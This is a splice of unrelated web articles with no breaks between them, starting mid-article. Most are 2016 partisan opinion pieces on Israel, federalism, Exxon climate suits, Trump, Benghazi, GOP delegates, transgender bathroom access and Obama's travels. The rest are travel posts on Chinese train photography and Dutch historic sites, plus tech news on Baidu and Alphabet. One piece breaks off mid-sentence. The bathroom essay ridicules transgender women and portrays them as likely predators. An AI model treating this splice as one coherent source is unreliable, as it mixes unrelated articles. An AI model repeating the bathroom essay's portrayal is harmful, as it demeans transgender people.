This time the Al-Qassam Brigades, another of the terrorist wings of Hamas, alarmingly proclaimed that this tunnel is a drop in the sea of what Hamas is preparing. Searching for the tunnels is therefore a top priority for Israel. If the Obama administration is really concerned to help with Israeli security, the U.S. should participate in the research for developing technology to locate the intended Hamas tunnels and destroy them.

The other event accompanying Bidens speech was the resignation of Mehmet Kaplan, the housing minister of Sweden. Kaplan, a 44-year-old member of Swedens Green Party and the former spokesperson of Swedens Muslim Council, had published comments in the past in the daily Svenska Dagbladet that Israelis treat Palestinians in a way that is very like that in which Jews were treated in Germany in the 1930s. The State Department might have commented on this disgraceful anti-Semitic utterance.

It is unfortunate that sharp differences between the U.S. and Israel over an important issue occurred after the meeting on April 17 of the Israeli cabinet in the Golan Heights, the first ever such meeting. Israel claims that the Heights captured from Syria in 1967 and annexed in 1991, is historically Jewish. The UN Security Council and the U.S. consider the annexation illegal, not part of Israel. It may be appropriate, as John Kirby, State Department spokesperson said, for the final status of the Golan territory to be determined by negotiation between the parties. However, in the meantime the State Department should recognize the danger to Israel of the terrorist groups, including ISIS and Hizb'allah on Israels northern border, and understand that Israel would be imperiled if it left the area.

In view of Joe Bidens speech and the general attitude of the Obama administration, the words of Stephen Sondheim are ever more pertinent: "Where are the clowns, send in the clowns Dont bother, theyre here".
The presidential campaign so far seems filled with nationalistic appeals, which is dangerous for America. In some places around the world, the difference between nationalism and patriotism may be blurred, but in our country, nationalism is the very antithesis of patriotism.

Nationalism is inherently centralizing, and it is the first step toward totalitarianism. The most significant change in German government after the Nazis took power was the destruction of the power of the states of Germany. Bad nations invariably begin with the consolidation of all practical power in nationalism rather than limited central power.

The greatest single achievement of America was that the sovereign states were persuaded to allow in the Constitution very limited powers to a national government, while states retained the vast preponderance of government power. The Tenth Amendment put an exclamation point on that fact and the Eleventh Amendment was intended to make clear that federal courts had no power to decide cases involving states.

The greatest single calamity in America today is that these states have become little more than appendages of federal power in many areas. The rationale for this long campaign by nationalists against American governmental structure is this "crisis" or that "emergency." The First World War, then the Depression, then the Second World War, then the Cold War, then environmental issues...and so on. The Tenth Amendment, like the Eleventh Amendment, has essentially been treated as if these part of the Constitution had been repealed.

National power have been grabbed from citizens and from states. This power is always grabbed for "emergencies," of course, and the problems the national government pretends to solve are never solved. The consequences of that for our nation are profound, and more than anything else, this is the source of our problems in America.

The contrast with national solutions to problems rather than federal (i.e., state government) solutions to problems is the difference between monopoly and markets. When states exercise power over education or labor relations or abortion or civil liberties, then the wise exercise of that power will attract to well-governed states people, commerce, brains, and talent.

This marketplace of governments works in practice and it also allows the sort of diversity which leftists pretend to pine for so deeply. The greater the nationalization of government, the fewer areas in which states can be truly independent, and the less those independent policies matter.

Nationalism has another sinister toxin in politics and government. When our nation was formed, there was no capitol per se, and when the District of Columbia was created, it was intended to be located in the middle of America, as it was in 1790. Today, the District of Columbia is farther away from much of America than London was from the American colonies when the Revolutionary War began.

As long as federalism kept the national government relatively insignificant, the dramatic isolation of our center of national government power from the rest of America did not matter. Today, a map of "red" and "blue" states shows quite clearly how proximity to national government is directly connected to lust for national government hegemony.

When schemes to solve the myriad problems we face through national means, rather that state-by-state ones, are proposed, Flyover Country knows what that means: their interests, their values, and their rights will be subordinated to people who live thousands of miles away by those who scarcely know (or care) about what life is like in these "colonies."

There are two practical problems in a presidential election with making the case for federalism rather than nationalism in addressing those things that government ought to address.

First, federal politicians since FDR have bought votes by promising goodies paid for through an unlimited national credit card (something states cannot do) and Federal Reserve fiat money. Promising national solutions to problems always sounds better than saying states should try many different solutions to perceived national problems.

Second, those who tell America about national government live in the surreal fantasy world of Washington and New York. These folks quite naturally think in terms of nationalism and not federalism. This includes not just the pundits who are invested in nationalism, but also the politicians who live in Washington and not where their voters live. So we hear from these politicians the constant call to "bring us together" though the compression of Americans into a single national glob  a recipe for misery and failure.

Convincing voters that federalism and not nationalism is the answer to our problems is hard, but it must be done.
Barely two weeks after the March 29 press conference where Al Gore and a group of state attorneys general vowed to push ahead on potentially prosecuting "corporations and other organizations that have knowingly deceived the American people about the risks of climate change," a surprising news situation developed where Wall Street Journal reporters announced they had viewed a leaked email agenda printout detailing how a small group of environmentalists were scheming "to establish in public's mind that Exxon is a corrupt institution." Two days later, the Washington Free Beacon showed the printout, and other news outlets later referred to it and the environmentalist names within it, most prominently environmentalist lawyer Matt Pawa.

But Pawa is not simply a lawyer who tried to sue ExxonMobil on behalf of a small Alaskan village, and two other names in that leaked email, John Passacantando and Kert Davies, aren't simply guys with vague former connections to Greenpeace.

All three fit the term for the type of people the police round up when a pattern of potentially illegal activity occurs: "the usual suspects." When it comes to the legally questionable effort to accuse skeptic climate scientists of fossil fuel industry corruption, these three apparently have a specific history of doing so for ten or twenty years.

In my 4/15 American Thinker article "Gore's RICO-style Prosecution of Global Warming Skeptics," I detailed how Al Gore and global warming alarmist book authors Naomi Oreskes and Ross Gelbspan basically have only one piece of so-called evidence indicting skeptic climate scientists of corporate corruption  namely, that a long ago leaked set of memos was proof of a sinister industry-wide directive where such skeptics were supposedly paid to "reposition global warming as theory rather than fact" and that a particular old public relations campaign by the coal industry sought to misinform "older, less educated males" and "younger, lower-income women."

Matt Pawa repeated those exact words in his 2008 Kivalina v. Exxon lawsuit, (as seen in this screencapture photo) in order to make the case that the oil industry was engaged in misinformation efforts. Whom did he cite for those phrases? Ultimately, three out of his four sources spiral back to Ross Gelbspan. I first detailed those problems in a 2010 Breitbart article, "Global Warming Nuisance Lawsuits Are Based on a Fatal Flaw," which I partly reproduced recently with repaired web links at my GelbspanFiles blog.

Next, John Passacantando is not merely a former Greenpeace worker with only a vague dislike of the oil industry. He was the co-founder of the long forgotten Ozone Action environmentalist group, which he merged into the USA arm of Greenpeace in 2000, while ascending to the position of executive director at Greenpeace USA. An archived Ozone Action page reveals that "[a]ccording to documents obtained by Ozone Action and by Ross Gelbspan, several ICE strategies were laid out including: the repositioning of global warming as theory, not fact."

Neither Passacantando nor Gelbspan ever disclosed whom they obtained those documents from. Details in my 4/15 American Thinker article suggest that it might be worthwhile to investigate whether the documents came out of Al Gore's 1991-92 Senate office.

Then there is Kert Davies, not merely another former Greenpeace worker, but the former head of Greenpeace's ExxonSecrets website who also happened to work alongside Passacantando at Ozone Action. As I showed in an article last year, four different major newspapers used Davies as a source in their early 2015 reports about the so-called ExxonMobil corruption of skeptic climate scientist Dr. Willie Soon. The accusation is baseless and traces back to the time in 1998 when a variant of it was first seen at a report titled "Affiliations of Selected Global Warming Skeptics," which cited both Ozone Action and Ross Gelbspan as sources.

Make no mistake about it: the small clique of people who seek to destroy the character of skeptic climate scientists are relentless in order to keep their beloved global warming issue alive. In a 2010 New York Times article that mentioned the dismissal of Matt Pawa's Kivalina v. Exxon lawsuit, the concluding paragraphs quoted an optimistic outlook from a Columbia University law school professor, who noted how the first efforts to sue tobacco companies had appeared to be weak as well.

They lost the first cases; they kept on trying new theories, and eventually won big.

It appears that Matt Pawa, John Passacantando, and Kert Davies, along with Al Gore, are trying out the new theory that going after "climate deniers violating racketeering laws" will finally silence people who criticize the notion of catastrophic human-caused global warming. But rather than winning big with it, is this now a situation that will expose that it's been a clique of enviro-activists engaging in racketeering efforts for the past 20 years?

Russell Cook's blog GelbspanFiles.com is a forensic examination of faults in the corruption accusation against skeptic climate scientists, an outgrowth of his original articles here at American Thinker. He can be followed on Facebook and Twitter.
The "Trump Effect" on American politics is growing the closer we get to the GOP convention.

Delegates are reporting that they are receiving explicit and frightening death threats from Trump supporters.

Politico:

First it was an email warning Steve House, the Colorado GOP chairman, to hide his family members and pray you make it to Cleveland. Then there was the angry man who called his cell phone and told him to put a gun down his throat. He said, Ill call back in two minutes and if youre still there, Ill come over and help you, House recalled. Since Donald Trump came up empty in his quest for delegates at the Republican state assembly in Colorado Springs nearly two weeks ago, his angry supporters have responded to Trumps own claims of a rigged nomination process by lashing out at Republican National Committee delegates that they believe wont support Trump at the partys convention  including House. The mild-mannered chairman estimates hes gotten between 4,000 and 5,000 calls on his cell phone. Many, he says, have ended with productive conversations. Hes referred the more threatening, violent calls to police. His cell phone is still buzzing this week, as he attends the RNC quarterly meetings in Florida, and hes not the only one. In hotel hallways and across dinner tables, many party leaders attending this weeks meetings shared similar stories. One party chair says a Trump supporter recently got in his face and promised bloodshed if he didnt win the GOP nomination. An Indiana delegate who criticized Trump received a note warning against traditional burial that ended with, We are watching you. The threats come months ahead of a possible contested convention, where Trump is all-but certain to enter with a plurality of delegates bound to him on the first ballot, but he could lose support on subsequent ballots as rules will allow delegates to vote however they choose. And although the harassers are typically anonymous, many party leaders on the receiving end of these threats hold Trump himself at least partly responsible, viewing the intimidation efforts as a natural and obvious outgrowth of the candidates incendiary rhetoric. The Trump campaign did not respond to a request for comment.

Will the Trump phenomenon become a permanent fixture in American politics? Should we come to expect juvenile insults, thuggery, and death threats to opponents?

Trump has aroused and appeals to the absolute worst in people. He is an instrument of the reckoning many of his supporters desire against their enemies, real and imagined, and not an inspirational figure. He is not about appealing to the better angels of our nature; rather, he is enabling behavior and rhetoric that are alien to American politics.

No one who has been paying attention is the least bit surprised at death threats from Trump supporters to delegates. He can claim to be changing into a more responsible candidate, but I doubt that his supporters will take the hint.
There are some knee-jerk reactions to the seemingly "political correctness run amok" move to put Harriet Tubman on the $20 bill, replacing President Andrew Jackson. But the replacing of the slave-owning founder of the Democratic Party with a gun-toting black Republican may spark a political debate worth having and unearth historical truths worth learning. As PJ Media described the announcement:

The first woman on United States bank notes will be the famous abolitionist and Republican Harriet Tubman, Politico reported Wednesday. She will give the boot to the nation's sixth president and a major figure in the Democratic Party, Andrew Jackson, on the $20 bill, and save the founder of the nation's financial system, Alexander Hamilton, from being kicked off the $10 bill.

Biographer Kate Clifford Larson notes that Harriet Tubman was no stranger to firearms, finding them a way to protect and reassure slaves she shepherded to freedom in the North, perhaps making her a founder of the black lives matter movement:

Harriet Tubman carried a small pistol with her on her rescue missions, mostly for protection from slave catchers, but also to encourage weak-hearted runaways from turning back and risking the safety of the rest of the group. Tubman carried a sharp-shooters rifle during the Civil War.

An image of her carrying her gun is not likely to grace the new $20 bill, nor is any mention of her being a supporter of the anti-slavery Republican Party likely to be a regular part of the mainstream media and liberal Democratic mantra.

Harriet Tubmans image should remind Americans that gun control was a historical method to control and subjugate blacks. UCLA constitutional law professor Adam Winkler notes in The Atlantic:

Indisputably, for much of American history, gun-control measures, like many other laws, were used to oppress African Americans. The South had long prohibited blacks, both slave and free, from owning guns. In the North, however, at the end of the Civil War, the Union army allowed soldiers of any color to take home their rifles. Even blacks who hadnt served could buy guns in the North, amid the glut of firearms produced for the war. President Lincoln had promised a new birth of freedom, but many blacks knew that white Southerners were not going to go along easily with such a vision. As one freedman in Louisiana recalled, I would say to every colored soldier, Bring your gun home.

Winkler also notes:

The KKK began as a gun-control organization. Before the Civil War, blacks were never allowed to own guns. During the Civil War, blacks kept guns for the first time  either they served in the Union army and they were allowed to keep their guns, or they buy guns on the open market where for the first time theres hundreds of thousands of guns flooding the marketplace after the war ends. So they arm up because they know who theyre dealing with in the South. White racists do things like pass laws to disarm them, but thats not really going to work. So they form these racist posses all over the South to go out at night in large groups to terrorize blacks and take those guns away. If blacks were disarmed, they couldnt fight back.

One of the key reasons for the 14th Amendments guarantee that blacks are equal human beings with equal rights was to protect the gun rights of freed slaves after the Civil War. This reasoning was cited in the 2010 gun rights victory won by Otis McDonald in McDonald v. Chicago. McDonald, a 76-year-old African-American Army veteran living in a high-crime area of Chicago, felt that the Second Amendment gave him the right to protect himself and is family with a gun just as he once protected his country with a gun.

The Supreme Court agreed, with Justice Samuel Alito referencing the 14th Amendment:

Alito wrote: Evidence from the period immediately following the ratification [in 1868] of the Fourteenth Amendment only confirms that the right to keep and bear arms was considered fundamental.  In sum, it is clear that the Framers and ratifiers of the Fourteenth Amendment counted the right to keep and bear arms among those fundamental rights necessary to our system of ordered liberty.. In framing the argument that the intent of the Fourteenth Amendment should incorporate Second Amendment rights, Alito referenced post-Civil War laws that the Fourteenth Amendment intended to eliminate. The laws of some states formally prohibited African Americans from possessing firearms, Alito said. For example, a Mississippi law provided that no freedman, free negro or mulatto, not in the military service of the United States government, and not licensed so to do by the board of police of his or her county, shall keep or carry firearms of any kind, or any ammunition, dirk or bowie knife."

Harriet Tubman supported the Republican Party because it opposed slavery. She carried a gun because it protected the liberty and freedom of herself and those she delivered to freedom via the Underground Railroad. Just as Democrats sought to enslave and disarm blacks back then, they now seek to entrap them in high-crime urban areas run by liberal Democrats who seek to deny them, and the rest of us, the right to keep and bear arms.

Go ahead and put Harriet Tubmans image on the $20 bill  the one showing the Republican leading slaves to freedom with a gun in her hand.

Daniel John Sobieski is a freelance writer whose pieces have appeared in Investors Business Daily, Human Events, Reason Magazine, and the Chicago Sun-Times among other publications.
The charitable interpretation of the actions of the Department of State in response to a congressional subpoena is incompetence. Given the need to keep Hillary Clintons actions regarding the Benghazi slaughter out of the headlines until after the election, I am not feeling particularly charitable. Protecting the ample rear end of the former secretary of state is a common practice at Foggy Bottom.

It has just been revealed that after the receipt of a congressional subpoena for Benghazi documents, those documents were removed from the office that received the subpoena and sent to another office, where they were not searched. This has been defended as a routine matter, despite the fact that the subpoena contained language cautioning against the removal of any documents relevant to the subpoena. As a result, the reports of the committee investigating Benghazi were based on incomplete information.

Alana Goodman reports at the Free Beacon:

Attorneys for the State Department said the electronic folders, which contain hundreds of documents related to the Benghazi attack and Libya, were belatedly rediscovered at the end of last year. They said the files had been overlooked by State Department officials because the executive secretarys office transferred them to another department and flagged them for archiving last April, shortly after receiving a subpoena from the House Select Committee on Benghazi. The new source of documents includes electronic folders used by senior officials under Secretary of State Hillary Clinton. They were originally kept in the executive secretarys office, which handles communication and coordination between the secretary of states office and other department bureaus.

As is so typical of reports regarding government bureaucratic misbehavior, the agents acting are identified as offices, not individuals with names who could be held accountable. Only lawyers have names, apparently. Thus:
Apparently a previous article calling into question the third-world nature of the GOP nomination process has touched a nerve.

The simple fact is that the path is absurd, and this can be picked apart in a series of analyses.

As a start, we can begin with how the GOP assigns the number of delegates per state, which looks to be entirely incoherent.

The following graph shows the ratio of the number of delegates each state (+DC) actually received as a percentage of all awarded delegates compared to the number of delegates each state would receive as a percentage of all delegates based on total population in 2015.

In short, we have massively over-represented states such as Wyoming, Alaska, the Dakotas, Montana, and Vermont, and on the list goes down to Connecticut, offset by under-represented states starting with California, New York, Florida, Illinois, Pennsylvania, and Texas, and on this list goes back up to Georgia  which appears to be the only appropriately represented state in the Union.

How to explain this nonsense? Who knows, and who cares?

There are only two rational ways to apportion state delegates: (1) equally (i.e., 10 per state regardless of respective populations) or (2) based on total population. The current process has some bizarre hybrid between the two that  to the best of my knowledge  cannot be explained using rational means.

As a first step towards a 21st-century presidential nomination procedure, the GOP can start by assigning state delegates using either method (1) or (2).
So what's the Big Deal about letting any Thomasina, Dickilla, and Harrieta into the womens room?

A correspondent asks if the worry is that these transitional people might maliciously leave the door open.

Thats not the trickiest problem by half.

A moment of thought dismisses the sillier objections to tackle the more enduring issues. And threats.

Failure to close the bathroom stall door is not a problem; it's automatic even for men, who have all become acquainted with doors, and stalls, since they were out of knickers. And if someone accidentally leaves a door open, most people either alert the inhabitant or avert their eyes, thinking the latch broken.

The problem is harassment, attacks, mirroring under stalls, skulking in wait for unsuspecting females to arrive, or overcoming a slighter woman with superior male strength, then raping her. As for all of history, women repair to the bathroom without fear of compromise or interference, women are unprepared for finding lurkers in a place they regard as relatively sacrosanct for the few minutes they are employed.

Next, although the word has fallen out of favor for decades, exhibitionism. Men displaying themselves is another favorite activity women are acquainted with from various quick assaults in the street or parking lots or lonely roads at night. The displayers may not mean ill, but the encounter is upsetting and disturbing and leaves residue in a womans mind. Exhibitionism is not fatal, but it is disorienting if unwanted and unexpected. And in my experience, its rare for a normal female to welcome unexpected weirdos exposing themselves.

Ultimately, it threatens a woman, too, as the men are unknowable as to their next act  will they be infuriated? Crazed? Manic? Seek to grope or perpetrate further unwarranted and unwanted acts of intimacy and intrusiveness? Disappointed in her reactions, would such a man become angry? Start to yell, curse, blubber, or in general weird out?

Women and men transitioning to women in mens rooms do none of these things. Furthermore, mens rooms are often notably less hygienic and inviting, often smell, and are not places to linger. So the problem is heavily overweighted on the women in the womens rooms.

Beyond these, men and women have rights to privacy, which is blatantly affronted by the blurring of gender definitions and types. In earlier times, under Stalinist, Soviet, and East German spy networks and regimes, privacy was unavailable, a luxury found only in the free West. Under the Stasi, the terrifying East German secret police, homes could be invaded at whim. Drawers, closets, and furnishings were regularly exposed and, if found problematic, removed and sequestered. The right to personal space was unheard of. The populace even cooperated with the State, frightened of not complying with the decrees from the regime.

How similar is the country today under the Obamaesque radical muddying of the Constitution? And lest you consider this an over-the-top concern, we have seen the rapid and deliberate erosion of so many other traditions we once considered inalienable, now simply gone forever. This one, the right to ones own lavatory, is on the bloody chopping block.

If a woman wants to change her underwear, fix her clothing, or get into swimwear or something casual, she will feel constrained. Faced with an amalgam person of indeterminate agenda, she will leave, rattled, without doing what she had intended or needed to do.

Is a man wearing womens garments to be understood as a woman in training or a nutjob? Why do we have to battle everything we already fight, plus this exhausting quest for the tender accommodations of an infinitesimal percentage of people who undergo this alteration?

Dont women  and men, too  have any right to privacy, security, and peace of mind  even when they repair to the loo?

The law of unexpected consequences is sure to kick in, too. What egregious mess will be happening that we're not now even thinking about?
Don't be surprised if President Obama has an emotional attachment to that Neil Diamond/Barbra Streisand song, "You don't bring me flowers anymore."

A month ago, we were surprised that Cuba's Raul Castro did not greet President Obama at the airport. After all, they told us it was historic. It had not happened since President Coolidge visited Cuba in the late 1920s. Castro would have been the second leader in Cuban history to greet a U.S. president on Cuban soil. However, he stayed home doing something rather than showing up to make history. Maybe a pirated copy of The Mambo Kings was on Cuban TV that afternoon.

Well, it happened again. Another world leader was too busy to greet the president of the U.S. He was welcomed by Prince Faisal bin Bandar Al Saud, the governor of Riyadh.

Yes, our president is now greeted by governors. It does not get any more insulting than that. Maybe having Russian jets fly within 50 feet of U.S. warships is a very close second!

King Salman was not there to greet President Obama. However, he found time to greet other world leaders just last week:

Ahead of Mr Obama's arrival, Saudi state television showed the king personally greeting senior officials from other Gulf nations arriving at the King Salman Air Base, the Associated Press reported. Mustafa Alani, a security analyst at the Gulf Research Centre, said the Saudi decision not to dispatch a high-level delegation to greet the president was unusual and intended to send a clear message that they had little faith in him.

It is true that Saudi Arabia is angry over the redacted pages from the 9-11 report. Frankly, it's a tough call, and I am willing to give President Bush and President Obama the benefit of the doubt here. After all, they have more information than I do. At the same time, President Obama could make a speech about the issue rather than let his critics dominate the coverage.

Saudi Arabia is angry about something else: the Iran deal. They just don't like the idea that Iran is going to get all of those billions of dollars, as reported by The Guardian:

Their larger fear is that Iran, flush with new revenues, will be emboldened to intensify its activities across an already violent and unstable Middle East. "Every country in the world is worried about this," Adel al-Jubeir, the Saudi foreign minister, said last week as sanctions were set to lift. "Iran's record has been one of war and destruction, terrorism, destabilisation, interference in the affairs of other countries and the concern ... is that Iran not use these funds in order to fund destabilisation activities, but instead use the funds to improve the well being of its people."

Saudi Arabia is not a perfect ally. However, they are a major player in the region.

They also didn't get the memo about the Iran deal and Obama's legacy.

Maybe Saudi Arabia understands something about legacy than the Obama supporters don't get. It's legacy only if it works. It's a bad idea if it doesn't work. As Warren Spahn said about a pitch that Willie Mays put in the seats: "Gentlemen, for the first 60 feet, that was a hell of a pitch"!

President Obama is off to London next. He's got some fence-mending there, too.

We've come a long way from that summer of 2008 visit to Germany, when thousands of fools cheered the new American messiah.

P.S. You can listen to my show (Canto Talk) and follow me on Twitter.
On April 26, primary voters head to the polls in Connecticut, Delaware, Maryland, Pennsylvania, and Rhode Island  bringing with them another 172 delegates up for grabs.

If the polling trends hold up, Donald Trump is set to sweep all five states.

In Pennsylvania, recent data shows Trump with between a 14% and 20% lead at 40-46% of the vote. The Franklin & Marshall poll has Trump leading for both men and women and in all income classes.

A CBS News/YouGov poll in the state places Trump well ahead among the GOP contenders for electability in the general election (47%, vs. 24% for Ted Cruz and 29% for John Kasich), understanding of people like you (45%, vs. 28% for Cruz and 27% for Kasich), being effective at getting things done (57%, vs. 18% for Cruz and 25% for Kasich), being authentic (45%, vs. 24% for Cruz and 31% for Kasich), and being optimistic (48%, vs. 24% for Cruz and 28% for Kasich).

Some other interesting findings come out of this survey. Only 26% of Republican supporters say the GOP platform should accept gay marriage, and a majority (53%) think the next GOP president needs to stand up to the Democrats more effectively.

For Rhode Island, there is a dearth of recent polling data. Brown University has a dated poll from late February showing Trump with a large lead over the rest of the field and 43% support.

Polls in Connecticut have Trump at 48-50% support and a 20%-24% lead over the other candidates. A Quinnipiac poll shows Trump winning all political philosophy groups, both men and women, and all income and education classes.

Trump holds a massive 37% lead in Delaware and is at 55% support.

In Maryland, Trump has 43-47% support and a 14-20% lead. A Public Policy Polling dataset shows Trump winning all age groups and both genders. A Monmouth University poll also shows Trump in the lead for both men and women.

According to the New York Times's delegate simulator, if Trump continues to maintain support in the high 40s, and Cruz and Kasich effectively split the remaining vote, Trump will get to the magical 1,237 number after the California primary under all modeled scenarios. But even if Trump's support slips to just 40% for the remainder of the race, the NYT simulator shows Trump reaching 1,237 under all scenarios before the start of the convention.
A senior government official quoted in a Japanese newspaper says that the U.S. will propose a visit to Hiroshima by President Obama in May following the G-7 summit.

If you liked Obama apologizing to the murderous Castros in Cuba, you're going to love what he has to say at the site of the first atomic bomb ever dropped.

Reuters:

Citing an unidentified senior U.S. government official, the business daily said Washington planned to propose to Tokyo a visit by the president on May 27, at the end of a Group of Seven (G7) summit hosted by Japanese Prime Minister Shinzo Abe. In Washington, a White House official said no decision has been made. Japanese Chief Cabinet Secretary Yoshihide Suga denied the visit was being arranged and declined further comment. Diplomatic protocol means any announcement should come from the U.S. side. "It is not true that a visit to Hiroshima by President Obama is being arranged between the United States and Japan," Suga told a regular news conference. "The schedule of the U.S. president is a matter for the United States to decide. The (Japanese) government will refrain from comment." A U.S. warplane dropped the atomic bomb on Hiroshima on Aug. 6, 1945, killing thousands of people instantly and about 140,000 by the end of that year. Nagasaki was bombed on Aug. 9, 1945, and Japan surrendered six days later. A presidential visit would be controversial in the United States if it were seen as an apology. A majority of Americans view the bombing of Hiroshima and Nagasaki as justified to end the war and save U.S lives. The vast majority of Japanese think the bombings were unjustified. U.S. Secretary of State John Kerry said during a visit to the city this month that Obama wanted to travel there, although he did not know if the president's schedule when he visited Japan for the May 26-27 summit would allow him to. Hiroshima bombing survivors, and other residents, have said they hope for progress in ridding the world of nuclear weapons, rather than an apology, if Obama makes the historic visit. Hopes for Obama's visit to Hiroshima were raised after a speech in April 2009 in Prague when he called for a world without nuclear weapons. He later said he would be honored to visit the two cities that suffered nuclear attack.

I'm sure those surviving veterans of World War II would have a thing or two to say to President Obama if he apologizes for the U.S. shortening the war and saving millions of lives. The planned invasion of the islands would have cost a million American casualties  about 250,000 dead. Japanese losses, civilian and military, could have topped 2 million. Many millions more across Asia were saved, as the war would have dragged on into at least 1947.

We are still handing out Purple Heart medals left over from that planned attack.

But none of this is as important as pandering to leftists around the world  and our former enemy, who has so sanitized its barbaric atrocities committed during the war as to make the history it teaches its children unrecognizable.

We dropped the bombs to wake up the Japanese government to the danger of its country's total destruction. Before that, Japan's "peace" cabinet had proposed keeping the military in charge as well as allowing the country to keep some of its territorial gains. It was a recipe for another war a decade or so later.

We owe no one an apology.
Beijing-based photographer Wang Fuchun produced this series of incredibly vivid pictures of Chinese passengers on trains. A railway worker-turned photographer, Wang has been documenting all sorts of unique moments on trains for decades. From steam locomotives to bullet trains, the past three-decades of changes for China' s railways have all been recorded in Wang's photos.

"Trains are loaded with people's hopes and regrets," said 68-year-old Wang Fuchun. I feel really lucky to have been able to take photos on trains."

Wang Fuchun has many works themed on rail travel, such as his "Chinese on the Train", "The Steam Locomotives of China", "Black Land" and "Manchurian Tiger".

Wang's bond with trains first started several decades ago. Influenced by his elder brother, who had an established career in rail, Wang also became a railway worker in 1970 after he finished his military service. Due to his strong interest in arts, Wang was asked to take photos as part of his job responsibility during the 1970s. This is how he got started in photography. By 1984, Wang was a professional photographer.

However, the sudden shift in his career track didn't stop him working for the railway industry. Wang began to record the history of China' s railway by taking photos on the trains. Wang Fuchun often takes several train trips a month and walks up and down the carriages taking photos.

"I love trains, railway, and railway passengers," said Wang. "Whenever I get on a train, I get a comfortable feeling, like being at home."

Also see: Life in Metro Part 1, Part 2

via Xinhuanet.com and 798 Photo Gallery
The immense firepower of modern artillery witnessed during the Franco-Prussian War of 1870-71 caused great concern among the Dutch, because their centuries-old fortification of walls and earthwork were crumbling and offered poor defense. They were afraid that if the Germans were to attack, Amsterdam could fall under their superior army. So immediately after the war ended, the Netherland passed the Fortress Law in 1874, in which it was decided that a Defence Line of Amsterdam (or Stelling van Amsterdam) would be built.

Work commenced in 1883 and continued until 1920, at the end of which Amsterdam was surrounded by a 135-kilometer-long ring of fortification consisting of a series of 46 armed forts, barracks and batteries connected by a network of lowlands that could be flooded with water to prevent the enemy from advancing. A water defence line was chosen because water was abundant in the Netherland and the Dutch were genius at hydraulic engineering. Water defence line offered another advantage in that a large area can be defended with relatively little manpower.

Fort Pampus in Lake IJmeer. Photo credit: energeia.nl

The circle of water surrounding Amsterdam lies about 10 to 15 kilometers from the city center  a safe distance from enemy artillery, but not too far away for good transport and communication facilities. Forts were built where roads, railways, or dikes crossed through the water line. At such locations there would be no water to stop the enemy, and therefore the forts were intended to shell the enemy. These forts were positioned a maximum of 3.5 kilometers from each other.

The Stelling van Amsterdam was never used in combat. The invention of airplane and advancing techniques of artillery and infantry rendered the Defence Line obsolete almost as soon as it was finished.

The forts are now the most visible part of the Defence Line. Many of these are now used for various purposes like wine trading, child care and museum. A large portion of this monument is open to the public.

In 1996, the Defence Line of Amsterdam was designated a UNESCO World Heritage Site.

Map of the Defence Line of Amsterdam

Fort Pampus. Photo credit: Johan Bakker/Wikimedia

Fort Pampus. Photo credit: www.werelderfgoed.nl

Fort Muizenfort. Photo credit: Defence Line Amsterdam/Flickr

Fort Uitermeer. Photo credit: Defence Line Amsterdam/Flickr

Fort Muiderslot. Photo credit: Defence Line Amsterdam/Flickr

Photo credit: www.werelderfgoed.nl

Photo credit: www.werelderfgoed.nl

Photo credit: www.werelderfgoed.nl

Sources: www.stelling-amsterdam.nl / Wikipedia
At the highest point of the Utrecht Ridge, in the Dutch village of Woudenberg, stands Europes only pyramid. The 36-meter-tall earthen hill was built in 1804 by Napoleons soldiers, under the direction of General Marmont as a tribute to his friend and example Napolean Bonaparte (although Marmont betrayed Napolean later). Marmont called it "Mont Marmont". But in 1806, despite protest from General Marmont, Louis Napoleon, the new king of Holland, renamed the hill the Pyramid of Austerlitz in memory of the Battle of Austerlitz in which Napoleon decisively defeated the Russians and Austrians.

Photo credit: Kattjosh/Flickr

In 1804 the French General Auguste de Marmont established an army camp in this central location in the Batavian Republic, the present Netherlands, where over a period of several months he managed to forge together various battalions into a large, well-trained army, capable of beating the British enemy should there be any repetition of the invasion of 1799. Satisfied with the military power of the new army, and to occupy his bored soldiers, in the autumn of 1804 Marmont had his soldiers build an earth and turf monument inspired by the pyramid of Giza, which Marmont had seen in 1798 during Napoleons Egyptian campaign. Even the erosion-exposed stepped surface was imitated.

Construction took a mere 27 days and the structure rose to 36 meters. The apex of the pyramid was flat where was erected a 13-meter-tall wooden obelisk. Marmont was, however, too haste in its construction. There wasnt even a proper foundation to the structure. It was simply a pile of earth and sand. Naturally, the pyramid started to collapse not too long after it was built. Marmont struggled to keep it in good repair, but when locals vandalized it by removing the stone plaques, the frustrated General sold the pyramid and the surrounding land to the Hubert M.A.J. van Asch van Wijk, who would later become mayor of the nearby city of Utrecht.

The pyramid remained neglected throughout the 20th century, until its restoration in 2004. The Pyramid and the surrounding area is now a popular tourist attraction and recreation spot.

The Pyramid before it was restored. Photo credit: Fernambukk/Panoramio

Photo credit: Traveling Tourist/Flickr

Photo credit: Traveling Tourist/Flickr

Photo credit: Marc Rauw/Flickr
When Google had a falling out with Chinese authorities and wound up on the block list for the Great Firewall, local search player Baidu was there to pick up the slack. Already quite the competitor in the space, Baidu dominated the search market with ease and essentially became to China what Google is to America. Like Google, they began rolling out numerous services like an online encyclopedia, a searchable forum and a mapping service. Competing with the likes of Microsoft Bing and Sina, Baidu didnt have much trouble keeping their lead on the search market, bringing them up to about 60 percent of the market these days. Despite their juggernaut status in China, their presence in America is minimal at best, but this is something theyre looking to change in the near future by fleshing out a 100-strong team to work on their own autonomous vehicle technology in Silicon Valley.

The team responsible for work on autonomous technology, called ADU-US, will be developing incrementally and by priority, building out the most vital features and testing them in controlled environments first. When the product is close to completion and needs actual driving data, they plan to let their clearly marked automated cars do their testing in areas that are already robo-vehicle friendly, such as specialized campuses and areas where Googles self-driving vehicles have received full approval. The team is set to include people of all of the various background necessary to make an effective automated system, from machine learning and automotives to hardware and software engineering.

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Baidus senior VP, Jim Wang, spoke on the importance of the project, saying that Baidu is fully committed to making self-driving cars a reality, and that these automated automobiles will save lives and make transportation more efficient. He went on to point out that this team will be playing a large role in Baidus development efforts on self-driving cars. No specific timeline was given for when the team will begin accepting applications, when the testing of their self-driving cars will begin and if they will be working with or around Google on developing their own take on the future of transportation.
Not too long ago, Alphabet posted their earnings for Q1 2016, and while its clear that the company is most certainly on track to keep on making a lot of money, Google is still their number one source of revenue. Hardly surprising considering Alphabet was basically born out of Google, but the future of Google will no less decide the future of Alphabet. Its been an interesting week already for Sundar Pichai, not only do the recent Q1 2016 earnings of Alphabet show hes running the show at one of the worlds most valuable companies, but he was also named one of the most influential people on earth by TIME Magazine. Running Google doesnt come easy, but it seems as though Pichai has a plan for the future of Google for some time to come.

